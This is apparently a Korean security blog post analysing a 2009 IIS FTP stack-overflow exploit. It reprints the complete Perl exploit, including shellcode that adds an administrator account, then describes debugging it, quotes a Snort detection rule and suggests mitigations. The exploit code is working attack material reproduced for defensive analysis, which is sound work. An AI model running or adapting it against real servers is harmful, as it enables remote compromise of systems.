Microsoft IIS5.0/6.0 FTP server remote stack overflow exploit detection rule – rev:4

2009년 8월 31일 milw0rm에서 windows 2000 IIS5의 FTP서비스를 이용한 overflow를 발생시키는 exploit이 release 되었다.

 

해당 소스는 다음과 같다.

 

# IIS 5.0 FTPd / Remote r00t exploit

# Win2k SP4 targets

# bug found & exploited by Kingcope, kcope2<at>googlemail.com

# Affects IIS6 with stack cookie protection

# August 2009 – KEEP THIS 0DAY PRIV8

use IO::Socket;

$|=1;

#metasploit shellcode, adduser “winown:nwoniw”

$sc = “\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49” .

“\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51” .

“\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32” .

“\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41” .

“\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30” .

“\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55” .

“\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b” .

“\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44” .

“\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c” .

“\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d” .

“\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44” .

“\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31” .

“\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f” .

“\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51” .

“\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f” .

“\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46” .

“\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c” .

“\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43” .

“\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44” .

“\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57” .

“\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45” .

“\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e” .

“\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32” .

“\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e” .

“\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47” .

“\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46” .

“\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c” .

“\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f” .

“\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39” .

“\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34” .

“\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e” .

“\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54” .

“\x51\x54\x43\x30\x41\x41”;

#1ca

print “IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n”;

if ($#ARGV ne 1) {

print “usage: iiz5.pl <target> <your local ip>\n”;

exit(0);

}

srand(time());

$port = int(rand(31337-1022)) + 1025;

$locip = $ARGV[1];

$locip =~ s/\./,/gi;

if (fork()) {

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                              PeerPort => ’21’,

                              Proto    => ‘tcp’);

$patch = “\x7E\xF1\xFA\x7F”;

#$retaddr = “ZZZZ”;

$retaddr = “\x9B\xB1\xF4\x77”; # JMP ESP univ on 2 win2k platforms

$v = “KSEXY” . $sc . “V” x (500-length($sc)-5);

# top address of stack frame where shellcode resides, is hardcoded inside this block

$findsc=”\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53″

   .”\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0″;

# attack buffer

$c = $findsc . “C” . ($patch x (76/4)) . $patch.$patch.

   ($patch x (52/4)) .$patch.”EEEE$retaddr”.$patch.

   “HHHHIIII”.

$patch.”JKKK”.”\xE9\x63\xFE\xFF\xFF\xFF\xFF”.”NNNN”;

$x = <$sock>;

print $x;                            

print $sock “USER anonymous\r\n”;

$x = <$sock>;

print $x;

print $sock “PASS anonymous\r\n”;

$x = <$sock>;

print $x;

print $sock “MKD w00t$port\r\n”;

$x = <$sock>;

print $x;

print $sock “SITE $v\r\n”; # We store shellcode in memory of process (stack)

$x = <$sock>;

print $x;

print $sock “SITE $v\r\n”;

$x = <$sock>;

print $x;

print $sock “SITE $v\r\n”;

$x = <$sock>;

print $x;

print $sock “SITE $v\r\n”;

$x = <$sock>;

print $x;

print $sock “SITE $v\r\n”;

$x = <$sock>;

print $x;

print $sock “CWD w00t$port\r\n”;

$x = <$sock>;

print $x;

print $sock “MKD CCC”. “$c\r\n”;

$x = <$sock>;

print $x;

print $sock “PORT $locip,” . int($port / 256) . “,” . int($port % 256) . “\r\n”;

$x = <$sock>;

print $x;

# TRIGGER

print $sock “NLST $c*/../C*/\r\n”;

$x = <$sock>;

print $x;

while (1) {}

} else {

my $servsock = IO::Socket::INET->new(LocalAddr => “0.0.0.0”, LocalPort => $port, Proto => ‘tcp’, Listen => 1);

die “Could not create socket: $!\n” unless $servsock;

my $new_sock = $servsock->accept();

while(<$new_sock>) {

print $_;

}

close($servsock);

}

#Cheerio,

#

#Kingcope

 

# milw0rm.com [2009-08-31]

 

 

위 소스를 perl 파일로 작성하여 실행할 경우 다음과 같은 화면을 볼 수 있다.

 

exe

 

공격시

new exe

 

위 처럼 디렉터리가 생성되고 디렉터리 안에 파일을 생성하려 한다.

SITE 다음에 나오는 키워드인 KSEXY가 없는 명령어이므로 “command not undertood”

에러메시지가 나온다.

제작자와 메일을 주고받았는데 정상적인 작동모습이라 한다.

다음으로 PORT명령어를 이용하여 새로운 데이터 포트를 열고 네임리스트를 전송한다.

 

Debugging 을 해보자.

 

 new debug

 

PORT와 NLST 이 후

while문을 잠시 돈 뒤 빠져나와 마지막 줄로간다.

서버소캣이 닫히며 쓰레드가 끝난다.

PORT후 NLST명령어에서 20번 포트를 열고 DATA를 전송하는데

패킷을 분석한 결과 이 시점에서 제대로된 동작이 되지 않았다.

 

 

여기서 외부에 공개된 룰을 살펴본다.

http://www.emergingthreats.net/

에서 룰을 내놓았다.

alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:”ET EXPLOIT Possible IIS FTP Exploit attempt – Large SITE command”;
flow:established,to_server; content:”SITE “; nocase; content:!”|0d 0a|”; within:150; classtype:attempted-admin;
reference:url,www.milw0rm.com/exploits/9541; reference:url,doc.emergingthreats.net/2009828;
reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/EXPLOIT/EXPLOIT_IISFTP; sid:2009828; rev:2;)
 
여기서는 SITE 명령어에 이은 파라미터 값에서 뉴라인 이전 150byte이상 데이터가 있을 경우 overflow가 난다고 한다.
 
메일링 리스트에 의하면 허위 exploit으로 몰아가는 상황도 보이고 있다.
결론적으로 IIS5.0을 이용하여 FTP를 열 경우 anonymous계정을 없애고 쓰기 권한을 주지 않으면 된다.

2009.9.1 현재 VRT에서는 해당 exploit에 대한 탐지룰은 내놓지 않았으며

기존 FTP 탐지룰로 탐지하라고 하고있다.

그 룰들은 FTP에 쓰이는 명령어의 파라미터가 100바이트 이상 뉴라인이 안올경우이다.

SITE에서는 overflow를 발생시켜 shellcode를 메모리에 삽입하고

NLST에서 트리거한다.

 

현재 MS에서 권고문을 내놓았으나 정확히 동작하는지 아직 알수없다.

Advertisements

About this entry